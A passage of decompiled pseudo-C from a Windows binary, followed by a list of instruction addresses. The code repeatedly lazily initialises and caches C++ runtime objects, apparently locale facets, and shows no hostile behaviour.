																		_push( *((intOrPtr*)(_t990 + 8)));
																		_push(_t990 - 0x10);
																		__eflags = E6DD20EB7(_t699, _t730, _t920, _t926, _t949) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t990 - 0x20);
																			E6DD33D74(_t990 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t699, _t926, _t949, 0x14);
																			E6DD16653(_t990 - 0x14, 0);
																			_t950 =  *0x6ddd6db8; // 0x0
																			 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
																			 *(_t990 - 0x10) = _t950;
																			_t386 = E6DCF161C(0x6ddd6d6c);
																			_t737 =  *((intOrPtr*)(_t990 + 8));
																			_t927 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t386);
																			__eflags = _t927;
																			if(_t927 != 0) {
																				L40:
																				E6DD166BA(_t990 - 0x14);
																				return E6DD30075(_t927);
																			} else {
																				__eflags = _t950;
																				if(_t950 == 0) {
																					_push( *((intOrPtr*)(_t990 + 8)));
																					_push(_t990 - 0x10);
																					__eflags = E6DD20F1F(_t699, _t737, _t920, _t927, _t950) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t990 - 0x20);
																						E6DD33D74(_t990 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t699, _t927, _t950, 0x14);
																						E6DD16653(_t990 - 0x14, 0);
																						_t951 =  *0x6ddd6dec; // 0x0
																						 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
																						 *(_t990 - 0x10) = _t951;
																						_t399 = E6DCF161C(0x6ddd6d98);
																						_t744 =  *((intOrPtr*)(_t990 + 8));
																						_t928 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t399);
																						__eflags = _t928;
																						if(_t928 != 0) {
																							L47:
																							E6DD166BA(_t990 - 0x14);
																							return E6DD30075(_t928);
																						} else {
																							__eflags = _t951;
																							if(_t951 == 0) {
																								_push( *((intOrPtr*)(_t990 + 8)));
																								_push(_t990 - 0x10);
																								__eflags = E6DD20F87(_t699, _t744, _t920, _t928, _t951) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t990 - 0x20);
																									E6DD33D74(_t990 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t699, _t928, _t951, 0x14);
																									E6DD16653(_t990 - 0x14, 0);
																									_t952 =  *0x6ddd6dbc; // 0x0
																									 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
																									 *(_t990 - 0x10) = _t952;
																									_t412 = E6DCF161C(0x6ddd6d70);
																									_t751 =  *((intOrPtr*)(_t990 + 8));
																									_t929 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t412);
																									__eflags = _t929;
																									if(_t929 != 0) {
																										L54:
																										E6DD166BA(_t990 - 0x14);
																										return E6DD30075(_t929);
																									} else {
																										__eflags = _t952;
																										if(_t952 == 0) {
																											_push( *((intOrPtr*)(_t990 + 8)));
																											_push(_t990 - 0x10);
																											__eflags = E6DD20FEF(_t699, _t751, _t920, _t929, _t952) - 0xffffffff;
																											if(__eflags == 0) {
																												E6DCF1438(_t990 - 0x20);
																												E6DD33D74(_t990 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd783cf, _t699, _t929, _t952, 0x14);
																												E6DD16653(_t990 - 0x14, 0);
																												_t953 =  *0x6ddd6df0; // 0x0
																												 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
																												 *(_t990 - 0x10) = _t953;
																												_t425 = E6DCF161C(0x6ddd6d9c);
																												_t758 =  *((intOrPtr*)(_t990 + 8));
																												_t930 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t425);
																												__eflags = _t930;
																												if(_t930 != 0) {
																													L61:
																													E6DD166BA(_t990 - 0x14);
																													return E6DD30075(_t930);
																												} else {
																													__eflags = _t953;
																													if(_t953 == 0) {
																														_push( *((intOrPtr*)(_t990 + 8)));
																														_push(_t990 - 0x10);
																														__eflags = E6DD21057(_t699, _t758, _t920, _t930, _t953) - 0xffffffff;
																														if(__eflags == 0) {
																															E6DCF1438(_t990 - 0x20);
																															E6DD33D74(_t990 - 0x20, 0x6ddd3504);
																															asm("int3");
																															E6DD300AC(0x6dd783cf, _t699, _t930, _t953, 0x14);
																															E6DD16653(_t990 - 0x14, 0);
																															_t954 =  *0x6ddd6dc0; // 0x0
																															 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
																															 *(_t990 - 0x10) = _t954;
																															_t438 = E6DCF161C(0x6ddd6d74);
																															_t765 =  *((intOrPtr*)(_t990 + 8));
																															_t931 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t438);
																															__eflags = _t931;
																															if(_t931 != 0) {
																																L68:
																																E6DD166BA(_t990 - 0x14);
																																return E6DD30075(_t931);
																															} else {
																																__eflags = _t954;
																																if(_t954 == 0) {
																																	_push( *((intOrPtr*)(_t990 + 8)));
																																	_push(_t990 - 0x10);
																																	__eflags = E6DD210BF(_t699, _t765, _t920, _t931, _t954) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E6DCF1438(_t990 - 0x20);
																																		E6DD33D74(_t990 - 0x20, 0x6ddd3504);
																																		asm("int3");
																																		E6DD300AC(0x6dd783cf, _t699, _t931, _t954, 0x14);
																																		E6DD16653(_t990 - 0x14, 0);
																																		_t955 =  *0x6ddd6df8; // 0x0
																																		 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
																																		 *(_t990 - 0x10) = _t955;
																																		_t451 = E6DCF161C(0x6ddd6da4);
																																		_t772 =  *((intOrPtr*)(_t990 + 8));
																																		_t932 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t451);
																																		__eflags = _t932;
																																		if(_t932 != 0) {
																																			L75:
																																			E6DD166BA(_t990 - 0x14);
																																			return E6DD30075(_t932);
																																		} else {
																																			__eflags = _t955;
																																			if(_t955 == 0) {
																																				_push( *((intOrPtr*)(_t990 + 8)));
																																				_push(_t990 - 0x10);
																																				__eflags = E6DD21127(_t699, _t772, _t920, _t932, _t955) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E6DCF1438(_t990 - 0x20);
																																					E6DD33D74(_t990 - 0x20, 0x6ddd3504);
																																					asm("int3");
																																					E6DD300AC(0x6dd783cf, _t699, _t932, _t955, 0x14);
																																					E6DD16653(_t990 - 0x14, 0);
																																					_t956 =  *0x6ddd6df4; // 0x0
																																					 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
																																					 *(_t990 - 0x10) = _t956;
																																					_t464 = E6DCF161C(0x6ddd6da0);
																																					_t779 =  *((intOrPtr*)(_t990 + 8));
																																					_t933 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t464);
																																					__eflags = _t933;
																																					if(_t933 != 0) {
																																						L82:
																																						E6DD166BA(_t990 - 0x14);
																																						return E6DD30075(_t933);
																																					} else {
																																						__eflags = _t956;
																																						if(_t956 == 0) {
																																							_push( *((intOrPtr*)(_t990 + 8)));
																																							_push(_t990 - 0x10);
																																							__eflags = E6DD211AB(_t699, _t779, _t920, _t933, _t956) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E6DCF1438(_t990 - 0x20);
																																								E6DD33D74(_t990 - 0x20, 0x6ddd3504);
																																								asm("int3");
																																								E6DD300AC(0x6dd783cf, _t699, _t933, _t956, 0x14);
																																								E6DD16653(_t990 - 0x14, 0);
																																								_t957 =  *0x6ddd6dc8; // 0x0
																																								 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
																																								 *(_t990 - 0x10) = _t957;
																																								_t477 = E6DCF161C(0x6ddd6d7c);
																																								_t786 =  *((intOrPtr*)(_t990 + 8));
																																								_t934 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t477);
																																								__eflags = _t934;
																																								if(_t934 != 0) {
																																									L89:
																																									E6DD166BA(_t990 - 0x14);
																																									return E6DD30075(_t934);
																																								} else {
																																									__eflags = _t957;
																																									if(_t957 == 0) {
																																										_push( *((intOrPtr*)(_t990 + 8)));
																																										_push(_t990 - 0x10);
																																										__eflags = E6DD21230(_t699, _t786, _t920, _t934, _t957) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E6DCF1438(_t990 - 0x20);
																																											E6DD33D74(_t990 - 0x20, 0x6ddd3504);
																																											asm("int3");
																																											E6DD300AC(0x6dd783cf, _t699, _t934, _t957, 0x14);
																																											E6DD16653(_t990 - 0x14, 0);
																																											_t958 =  *0x6ddd6dc4; // 0x0
																																											 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
																																											 *(_t990 - 0x10) = _t958;
																																											_t490 = E6DCF161C(0x6ddd6d78);
																																											_t793 =  *((intOrPtr*)(_t990 + 8));
																																											_t935 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t490);
																																											__eflags = _t935;
																																											if(_t935 != 0) {
																																												L96:
																																												E6DD166BA(_t990 - 0x14);
																																												return E6DD30075(_t935);
																																											} else {
																																												__eflags = _t958;
																																												if(_t958 == 0) {
																																													_push( *((intOrPtr*)(_t990 + 8)));
																																													_push(_t990 - 0x10);
																																													__eflags = E6DD212B4(_t699, _t793, _t920, _t935, _t958) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E6DCF1438(_t990 - 0x20);
																																														E6DD33D74(_t990 - 0x20, 0x6ddd3504);
																																														asm("int3");
																																														E6DD300AC(0x6dd783cf, _t699, _t935, _t958, 0x14);
																																														E6DD16653(_t990 - 0x14, 0);
																																														_t959 =  *0x6ddd6dd8; // 0x0
																																														 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
																																														 *(_t990 - 0x10) = _t959;
																																														_t503 = E6DCF161C(0x6ddd6d84);
																																														_t800 =  *((intOrPtr*)(_t990 + 8));
																																														_t936 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t503);
																																														__eflags = _t936;
																																														if(_t936 != 0) {
																																															L103:
																																															E6DD166BA(_t990 - 0x14);
																																															return E6DD30075(_t936);
																																														} else {
																																															__eflags = _t959;
																																															if(_t959 == 0) {
																																																_push( *((intOrPtr*)(_t990 + 8)));
																																																_push(_t990 - 0x10);
																																																__eflags = E6DD21339(_t699, _t800, _t920, _t936, _t959) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E6DCF1438(_t990 - 0x20);
																																																	E6DD33D74(_t990 - 0x20, 0x6ddd3504);
																																																	asm("int3");
																																																	E6DD300AC(0x6dd783cf, _t699, _t936, _t959, 0x14);
																																																	E6DD16653(_t990 - 0x14, 0);
																																																	_t960 =  *0x6ddd6db0; // 0x0
																																																	 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
																																																	 *(_t990 - 0x10) = _t960;
																																																	_t516 = E6DCF161C(0x6ddd6d64);
																																																	_t807 =  *((intOrPtr*)(_t990 + 8));
																																																	_t937 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t516);
																																																	__eflags = _t937;
																																																	if(_t937 != 0) {
																																																		L110:
																																																		E6DD166BA(_t990 - 0x14);
																																																		return E6DD30075(_t937);
																																																	} else {
																																																		__eflags = _t960;
																																																		if(_t960 == 0) {
																																																			_push( *((intOrPtr*)(_t990 + 8)));
																																																			_push(_t990 - 0x10);
																																																			__eflags = E6DD213A1(_t699, _t807, _t920, _t937, _t960) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E6DCF1438(_t990 - 0x20);
																																																				E6DD33D74(_t990 - 0x20, 0x6ddd3504);
																																																				asm("int3");
																																																				E6DD300AC(0x6dd783cf, _t699, _t937, _t960, 0x14);
																																																				E6DD16653(_t990 - 0x14, 0);
																																																				_t961 =  *0x6ddd6ddc; // 0x0
																																																				 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
																																																				 *(_t990 - 0x10) = _t961;
																																																				_t529 = E6DCF161C(0x6ddd6d88);
																																																				_t814 =  *((intOrPtr*)(_t990 + 8));
																																																				_t938 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t529);
																																																				__eflags = _t938;
																																																				if(_t938 != 0) {
																																																					L117:
																																																					E6DD166BA(_t990 - 0x14);
																																																					return E6DD30075(_t938);
																																																				} else {
																																																					__eflags = _t961;
																																																					if(_t961 == 0) {
																																																						_push( *((intOrPtr*)(_t990 + 8)));
																																																						_push(_t990 - 0x10);
																																																						__eflags = E6DD21409(_t699, _t814, _t920, _t938, _t961) - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							E6DCF1438(_t990 - 0x20);
																																																							E6DD33D74(_t990 - 0x20, 0x6ddd3504);
																																																							asm("int3");
																																																							E6DD300AC(0x6dd783cf, _t699, _t938, _t961, 0x14);
																																																							E6DD16653(_t990 - 0x14, 0);
																																																							_t962 =  *0x6ddd6de0; // 0x0
																																																							 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
																																																							 *(_t990 - 0x10) = _t962;
																																																							_t542 = E6DCF161C(0x6ddd6d8c);
																																																							_t821 =  *((intOrPtr*)(_t990 + 8));
																																																							_t939 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t542);
																																																							__eflags = _t939;
																																																							if(_t939 != 0) {
																																																								L124:
																																																								E6DD166BA(_t990 - 0x14);
																																																								return E6DD30075(_t939);
																																																							} else {
																																																								__eflags = _t962;
																																																								if(_t962 == 0) {
																																																									_push( *((intOrPtr*)(_t990 + 8)));
																																																									_push(_t990 - 0x10);
																																																									__eflags = E6DD21471(_t699, _t821, _t920, _t939, _t962) - 0xffffffff;
																																																									if(__eflags == 0) {
																																																										E6DCF1438(_t990 - 0x20);
																																																										E6DD33D74(_t990 - 0x20, 0x6ddd3504);
																																																										asm("int3");
																																																										E6DD300AC(0x6dd783cf, _t699, _t939, _t962, 0x14);
																																																										E6DD16653(_t990 - 0x14, 0);
																																																										_t963 =  *0x6ddd6dfc; // 0x0
																																																										 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
																																																										 *(_t990 - 0x10) = _t963;
																																																										_t555 = E6DCF161C(0x6ddd6da8);
																																																										_t828 =  *((intOrPtr*)(_t990 + 8));
																																																										_t940 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t555);
																																																										__eflags = _t940;
																																																										if(_t940 != 0) {
																																																											L131:
																																																											E6DD166BA(_t990 - 0x14);
																																																											return E6DD30075(_t940);
																																																										} else {
																																																											__eflags = _t963;
																																																											if(_t963 == 0) {
																																																												_push( *((intOrPtr*)(_t990 + 8)));
																																																												_push(_t990 - 0x10);
																																																												__eflags = E6DD214EC(_t699, _t828, _t920, _t940, _t963) - 0xffffffff;
																																																												if(__eflags == 0) {
																																																													E6DCF1438(_t990 - 0x20);
																																																													E6DD33D74(_t990 - 0x20, 0x6ddd3504);
																																																													asm("int3");
																																																													E6DD300AC(0x6dd783cf, _t699, _t940, _t963, 0x14);
																																																													E6DD16653(_t990 - 0x14, 0);
																																																													_t964 =  *0x6ddd6dcc; // 0x0
																																																													 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
																																																													 *(_t990 - 0x10) = _t964;
																																																													_t568 = E6DCF161C(0x6ddd6d80);
																																																													_t835 =  *((intOrPtr*)(_t990 + 8));
																																																													_t941 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t568);
																																																													__eflags = _t941;
																																																													if(_t941 != 0) {
																																																														L138:
																																																														E6DD166BA(_t990 - 0x14);
																																																														return E6DD30075(_t941);
																																																													} else {
																																																														__eflags = _t964;
																																																														if(_t964 == 0) {
																																																															_push( *((intOrPtr*)(_t990 + 8)));
																																																															_push(_t990 - 0x10);
																																																															__eflags = E6DD21558(_t699, _t835, _t920, _t941, _t964) - 0xffffffff;
																																																															if(__eflags == 0) {
																																																																E6DCF1438(_t990 - 0x20);
																																																																E6DD33D74(_t990 - 0x20, 0x6ddd3504);
																																																																asm("int3");
																																																																E6DD300AC(0x6dd783cf, _t699, _t941, _t964, 0x14);
																																																																E6DD16653(_t990 - 0x14, 0);
																																																																_t965 =  *0x6ddd6e00; // 0x0
																																																																 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
																																																																 *(_t990 - 0x10) = _t965;
																																																																_t581 = E6DCF161C(0x6ddd6dac);
																																																																_t842 =  *((intOrPtr*)(_t990 + 8));
																																																																_t942 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t581);
																																																																__eflags = _t942;
																																																																if(_t942 != 0) {
																																																																	L145:
																																																																	E6DD166BA(_t990 - 0x14);
																																																																	return E6DD30075(_t942);
																																																																} else {
																																																																	__eflags = _t965;
																																																																	if(_t965 == 0) {
																																																																		_push( *((intOrPtr*)(_t990 + 8)));
																																																																		_push(_t990 - 0x10);
																																																																		__eflags = E6DD215C4(_t699, _t842, _t920, _t942, _t965) - 0xffffffff;
																																																																		if(__eflags == 0) {
																																																																			E6DCF1438(_t990 - 0x20);
																																																																			E6DD33D74(_t990 - 0x20, 0x6ddd3504);
																																																																			asm("int3");
																																																																			E6DD300AC(0x6dd783cf, _t699, _t942, _t965, 0x14);
																																																																			E6DD16653(_t990 - 0x14, 0);
																																																																			_t966 =  *0x6ddd6dd0; // 0x0
																																																																			 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
																																																																			 *(_t990 - 0x10) = _t966;
																																																																			_t594 = E6DCF161C(0x6ddd6d60);
																																																																			_t849 =  *((intOrPtr*)(_t990 + 8));
																																																																			_t943 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t594);
																																																																			__eflags = _t943;
																																																																			if(_t943 != 0) {
																																																																				L152:
																																																																				E6DD166BA(_t990 - 0x14);
																																																																				return E6DD30075(_t943);
																																																																			} else {
																																																																				__eflags = _t966;
																																																																				if(_t966 == 0) {
																																																																					_push( *((intOrPtr*)(_t990 + 8)));
																																																																					_push(_t990 - 0x10);
																																																																					__eflags = E6DD2162A(_t699, _t849, _t920, _t943, _t966) - 0xffffffff;
																																																																					if(__eflags == 0) {
																																																																						_t853 = _t990 - 0x20;
																																																																						E6DCF1438(_t853);
																																																																						E6DD33D74(_t990 - 0x20, 0x6ddd3504);
																																																																						asm("int3");
																																																																						E6DD300AC(0x6dd7851f, _t699, _t943, _t966, 4);
																																																																						_t967 = _t853;
																																																																						 *(_t990 - 0x10) = _t967;
																																																																						 *((intOrPtr*)(_t967 + 4)) =  *((intOrPtr*)(_t990 + 0xc));
																																																																						_push( *((intOrPtr*)(_t990 + 0x14)));
																																																																						_t315 = _t990 - 4;
																																																																						 *_t315 =  *(_t990 - 4) & 0x00000000;
																																																																						__eflags =  *_t315;
																																																																						 *_t967 = 0x6dd7c0c4;
																																																																						 *((char*)(_t967 + 0x28)) =  *((intOrPtr*)(_t990 + 0x10));
																																																																						E6DD2542F(_t699, _t853, _t920, _t943, _t967,  *_t315);
																																																																						return E6DD30075(_t967,  *((intOrPtr*)(_t990 + 8)));
																																																																					} else {
																																																																						_t943 =  *(_t990 - 0x10);
																																																																						 *(_t990 - 0x10) = _t943;
																																																																						 *(_t990 - 4) = 1;
																																																																						E6DD16FD3(__eflags, _t943);
																																																																						 *0x6dd7a26c();
																																																																						 *((intOrPtr*)( *((intOrPtr*)( *_t943 + 4))))();
																																																																						 *0x6ddd6dd0 = _t943;
																																																																						goto L152;
																																																																					}
																																																																				} else {
																																																																					_t943 = _t966;
																																																																					goto L152;
																																																																				}
																																																																			}
																																																																		} else {
																																																																			_t942 =  *(_t990 - 0x10);
																																																																			 *(_t990 - 0x10) = _t942;
																																																																			 *(_t990 - 4) = 1;
																																																																			E6DD16FD3(__eflags, _t942);
																																																																			 *0x6dd7a26c();
																																																																			 *((intOrPtr*)( *((intOrPtr*)( *_t942 + 4))))();
																																																																			 *0x6ddd6e00 = _t942;
																																																																			goto L145;
																																																																		}
																																																																	} else {
																																																																		_t942 = _t965;
																																																																		goto L145;
																																																																	}
																																																																}
																																																															} else {
																																																																_t941 =  *(_t990 - 0x10);
																																																																 *(_t990 - 0x10) = _t941;
																																																																 *(_t990 - 4) = 1;
																																																																E6DD16FD3(__eflags, _t941);
																																																																 *0x6dd7a26c();
																																																																 *((intOrPtr*)( *((intOrPtr*)( *_t941 + 4))))();
																																																																 *0x6ddd6dcc = _t941;
																																																																goto L138;
																																																															}
																																																														} else {
																																																															_t941 = _t964;
																																																															goto L138;
																																																														}
																																																													}
																																																												} else {
																																																													_t940 =  *(_t990 - 0x10);
																																																													 *(_t990 - 0x10) = _t940;
																																																													 *(_t990 - 4) = 1;
																																																													E6DD16FD3(__eflags, _t940);
																																																													 *0x6dd7a26c();
																																																													 *((intOrPtr*)( *((intOrPtr*)( *_t940 + 4))))();
																																																													 *0x6ddd6dfc = _t940;
																																																													goto L131;
																																																												}
																																																											} else {
																																																												_t940 = _t963;
																																																												goto L131;
																																																											}
																																																										}
																																																									} else {
																																																										_t939 =  *(_t990 - 0x10);
																																																										 *(_t990 - 0x10) = _t939;
																																																										 *(_t990 - 4) = 1;
																																																										E6DD16FD3(__eflags, _t939);
																																																										 *0x6dd7a26c();
																																																										 *((intOrPtr*)( *((intOrPtr*)( *_t939 + 4))))();
																																																										 *0x6ddd6de0 = _t939;
																																																										goto L124;
																																																									}
																																																								} else {
																																																									_t939 = _t962;
																																																									goto L124;
																																																								}
																																																							}
																																																						} else {
																																																							_t938 =  *(_t990 - 0x10);
																																																							 *(_t990 - 0x10) = _t938;
																																																							 *(_t990 - 4) = 1;
																																																							E6DD16FD3(__eflags, _t938);
																																																							 *0x6dd7a26c();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t938 + 4))))();
																																																							 *0x6ddd6ddc = _t938;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t938 = _t961;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t937 =  *(_t990 - 0x10);
																																																				 *(_t990 - 0x10) = _t937;
																																																				 *(_t990 - 4) = 1;
																																																				E6DD16FD3(__eflags, _t937);
																																																				 *0x6dd7a26c();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t937 + 4))))();
																																																				 *0x6ddd6db0 = _t937;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t937 = _t960;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t936 =  *(_t990 - 0x10);
																																																	 *(_t990 - 0x10) = _t936;
																																																	 *(_t990 - 4) = 1;
																																																	E6DD16FD3(__eflags, _t936);
																																																	 *0x6dd7a26c();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t936 + 4))))();
																																																	 *0x6ddd6dd8 = _t936;
																																																	goto L103;
																																																}
																																															} else {
																																																_t936 = _t959;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t935 =  *(_t990 - 0x10);
																																														 *(_t990 - 0x10) = _t935;
																																														 *(_t990 - 4) = 1;
																																														E6DD16FD3(__eflags, _t935);
																																														 *0x6dd7a26c();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t935 + 4))))();
																																														 *0x6ddd6dc4 = _t935;
																																														goto L96;
																																													}
																																												} else {
																																													_t935 = _t958;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t934 =  *(_t990 - 0x10);
																																											 *(_t990 - 0x10) = _t934;
																																											 *(_t990 - 4) = 1;
																																											E6DD16FD3(__eflags, _t934);
																																											 *0x6dd7a26c();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t934 + 4))))();
																																											 *0x6ddd6dc8 = _t934;
																																											goto L89;
																																										}
																																									} else {
																																										_t934 = _t957;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t933 =  *(_t990 - 0x10);
																																								 *(_t990 - 0x10) = _t933;
																																								 *(_t990 - 4) = 1;
																																								E6DD16FD3(__eflags, _t933);
																																								 *0x6dd7a26c();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t933 + 4))))();
																																								 *0x6ddd6df4 = _t933;
																																								goto L82;
																																							}
																																						} else {
																																							_t933 = _t956;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t932 =  *(_t990 - 0x10);
																																					 *(_t990 - 0x10) = _t932;
																																					 *(_t990 - 4) = 1;
																																					E6DD16FD3(__eflags, _t932);
																																					 *0x6dd7a26c();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t932 + 4))))();
																																					 *0x6ddd6df8 = _t932;
																																					goto L75;
																																				}
																																			} else {
																																				_t932 = _t955;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t931 =  *(_t990 - 0x10);
																																		 *(_t990 - 0x10) = _t931;
																																		 *(_t990 - 4) = 1;
																																		E6DD16FD3(__eflags, _t931);
																																		 *0x6dd7a26c();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t931 + 4))))();
																																		 *0x6ddd6dc0 = _t931;
																																		goto L68;
																																	}
																																} else {
																																	_t931 = _t954;
																																	goto L68;
																																}
																															}
																														} else {
																															_t930 =  *(_t990 - 0x10);
																															 *(_t990 - 0x10) = _t930;
																															 *(_t990 - 4) = 1;
																															E6DD16FD3(__eflags, _t930);
																															 *0x6dd7a26c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t930 + 4))))();
																															 *0x6ddd6df0 = _t930;
																															goto L61;
																														}
																													} else {
																														_t930 = _t953;
																														goto L61;
																													}
																												}
																											} else {
																												_t929 =  *(_t990 - 0x10);
																												 *(_t990 - 0x10) = _t929;
																												 *(_t990 - 4) = 1;
																												E6DD16FD3(__eflags, _t929);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t929 + 4))))();
																												 *0x6ddd6dbc = _t929;
																												goto L54;
																											}
																										} else {
																											_t929 = _t952;
																											goto L54;
																										}
																									}
																								} else {
																									_t928 =  *(_t990 - 0x10);
																									 *(_t990 - 0x10) = _t928;
																									 *(_t990 - 4) = 1;
																									E6DD16FD3(__eflags, _t928);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t928 + 4))))();
																									 *0x6ddd6dec = _t928;
																									goto L47;
																								}
																							} else {
																								_t928 = _t951;
																								goto L47;
																							}
																						}
																					} else {
																						_t927 =  *(_t990 - 0x10);
																						 *(_t990 - 0x10) = _t927;
																						 *(_t990 - 4) = 1;
																						E6DD16FD3(__eflags, _t927);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t927 + 4))))();
																						 *0x6ddd6db8 = _t927;
																						goto L40;
																					}
																				} else {
																					_t927 = _t950;
																					goto L40;
																				}
																			}
																		} else {
																			_t926 =  *(_t990 - 0x10);
																			 *(_t990 - 0x10) = _t926;
																			 *(_t990 - 4) = 1;
																			E6DD16FD3(__eflags, _t926);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t926 + 4))))();
																			 *0x6ddd6de8 = _t926;
																			goto L33;
																		}
																	} else {
																		_t926 = _t949;
																		goto L33;
																	}
																}
															} else {
																_t925 =  *(_t990 - 0x10);
																 *(_t990 - 0x10) = _t925;
																 *(_t990 - 4) = 1;
																E6DD16FD3(__eflags, _t925);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t925 + 4))))();
																 *0x6ddd6dd4 = _t925;
																goto L26;
															}
														} else {
															_t925 = _t948;
															goto L26;
														}
													}
												} else {
													_t924 =  *(_t990 - 0x10);
													 *(_t990 - 0x10) = _t924;
													 *(_t990 - 4) = 1;
													E6DD16FD3(__eflags, _t924);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t924 + 4))))();
													 *0x6ddd6db4 = _t924;
													goto L19;
												}
											} else {
												_t924 = _t947;
												goto L19;
											}
										}
									} else {
										_t923 =  *(_t990 - 0x10);
										 *(_t990 - 0x10) = _t923;
										 *(_t990 - 4) = 1;
										E6DD16FD3(__eflags, _t923);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t923 + 4))))();
										 *0x6ddd6de4 = _t923;
										goto L12;
									}
								} else {
									_t923 = _t946;
									goto L12;
								}
							}
						} else {
							_t922 =  *(_t990 - 0x10);
							 *(_t990 - 0x10) = _t922;
							 *(_t990 - 4) = 1;
							E6DD16FD3(__eflags, _t922);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t922 + 4))))();
							 *0x6ddd6e04 = _t922;
							goto L5;
						}
					} else {
						_t922 = _t945;
						goto L5;
					}
				}
			}

0x6dd1eeeb
0x6dd1eeeb
0x6dd1eef2
0x6dd1eefc
0x6dd1ef01
0x6dd1ef0c
0x6dd1ef10
0x6dd1ef13
0x6dd1ef18
0x6dd1ef1c
0x6dd1ef21
0x6dd1ef25
0x6dd1ef6a
0x6dd1ef6d
0x6dd1ef79
0x6dd1ef27
0x6dd1ef29
0x6dd1ef2f
0x6dd1ef35
0x6dd1ef3d
0x6dd1ef40
0x6dd1ef7d
0x6dd1ef8b
0x6dd1ef90
0x6dd1ef98
0x6dd1efa2
0x6dd1efa7
0x6dd1efb2
0x6dd1efb6
0x6dd1efb9
0x6dd1efbe
0x6dd1efc7
0x6dd1efc9
0x6dd1efcb
0x6dd1f010
0x6dd1f013
0x6dd1f01f
0x6dd1efcd
0x6dd1efcd
0x6dd1efcf
0x6dd1efd5
0x6dd1efdb
0x6dd1efe3
0x6dd1efe6
0x6dd1f023
0x6dd1f031
0x6dd1f036
0x6dd1f03e
0x6dd1f048
0x6dd1f04d
0x6dd1f058
0x6dd1f05c
0x6dd1f05f
0x6dd1f064
0x6dd1f06d
0x6dd1f06f
0x6dd1f071
0x6dd1f0b6
0x6dd1f0b9
0x6dd1f0c5
0x6dd1f073
0x6dd1f073
0x6dd1f075
0x6dd1f07b
0x6dd1f081
0x6dd1f089
0x6dd1f08c
0x6dd1f0c9
0x6dd1f0d7
0x6dd1f0dc
0x6dd1f0e4
0x6dd1f0ee
